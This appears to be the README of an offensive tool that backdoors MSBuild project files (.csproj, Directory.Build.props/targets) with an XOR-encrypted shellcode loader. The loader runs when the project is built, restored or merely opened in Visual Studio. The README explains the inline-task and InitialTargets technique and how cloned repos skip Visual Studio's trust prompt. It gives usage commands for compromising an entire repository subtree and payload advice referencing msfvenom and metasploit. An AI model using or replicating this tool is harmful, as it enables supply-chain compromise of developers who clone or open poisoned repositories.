Weaponizes MSBuild project files to run embedded shellcode. Given a .csproj, .vbproj, or Directory.Build.props/targets and a shellcode blob, VisualSploit injects a loader that fires whenever the project is built, restored, or opened in Visual Studio. Cloning a backdoored repo and opening it in Visual Studio is enough to run the payload without user interaction.
MSBuild lets a project declare an inline task, a chunk of C# that RoslynCodeTaskFactory compiles and runs during the build:
<UsingTask TaskName="Foo" TaskFactory="RoslynCodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll">
<Task>
<Code Type="Method" Language="cs">
<![CDATA[
public override bool Execute() { /* arbitrary C# */ return true; }
]]>
</Code>
</Task>
</UsingTask>InitialTargets on <Project> names targets that fire first when MSBuild evaluates the project.
VisualSploit writes a <UsingTask> containing a shellcode loader, adds a <Target> that invokes it, and appends that target to InitialTargets. Any evaluation runs the target, whether dotnet build, dotnet restore, Visual Studio opening the folder, or an IDE running MSBuild for IntelliSense. Microsoft treats those design-time builds as full execution.
The emitted C# then:
- Decrypts the embedded payload with XOR.
- Allocates an RWX page with
VirtualAlloc. - Spawns a thread at that page with
CreateThreadand waits for it.
Cloned files carry no MOTW, so Visual Studio's "trust this project?" prompt never fires on git clone.
| Target file | Fires when |
|---|---|
*.csproj / *.vbproj |
The project is opened or built |
Directory.Build.props |
Any project in the directory or below is opened or built |
Directory.Build.targets |
Any project in the directory or below is built |
Directory.Build.props and .targets are imported implicitly for every project beneath them, so a single injected file at a repo root compromises the whole subtree.
visualsploit <target> <shellcode> [options]
-o, --output <path> Write to a different path (default: in place)
-r, --rounds <n> XOR rounds 1-5 (default 3)
-s, --seed <n> RNG seed for reproducible output
-n, --dry-run Show injected XML without writing files
-v, --verbose Log injection summary to stderr
--no-backup Skip .bak when writing over an existing file
--version Show version
Shellcode can be raw binary or hex (whitespace, commas, and 0x prefixes are ignored). The target is modified in place unless --output is passed, leaving a .bak of the original alongside.
# Inject into a single project
visualsploit project.csproj shellcode.bin
# Compromise all projects in the subtree
visualsploit repo/Directory.Build.props shellcode.bin
# Reproducible output
visualsploit repo/Directory.Build.targets shellcode.bin -s 42
# Preview without writing
visualsploit project.csproj shellcode.bin --dry-run- Bitness must match the MSBuild host (Visual Studio and
dotnet buildare x64 by default). A mismatch crashes the thread and hangs the build. - Must be position-independent. The loader spawns a thread at an address the system picks; on x64,
RCXis zero on entry. - The page is mapped
PAGE_EXECUTE_READWRITE, so self-modifying stagers like reflective loaders or metasploitmigraterun without extra protection flips. - Shellcode must terminate on its own (e.g. msfvenom's
EXITFUNC=thread). The loader waits on the thread indefinitely and will hang the build otherwise.
Requires .NET 10 SDK.
dotnet build -c Release
dotnet testSelf-contained binary:
dotnet publish -c Release -r <rid> --self-contained -p:PublishSingleFile=trueMIT.
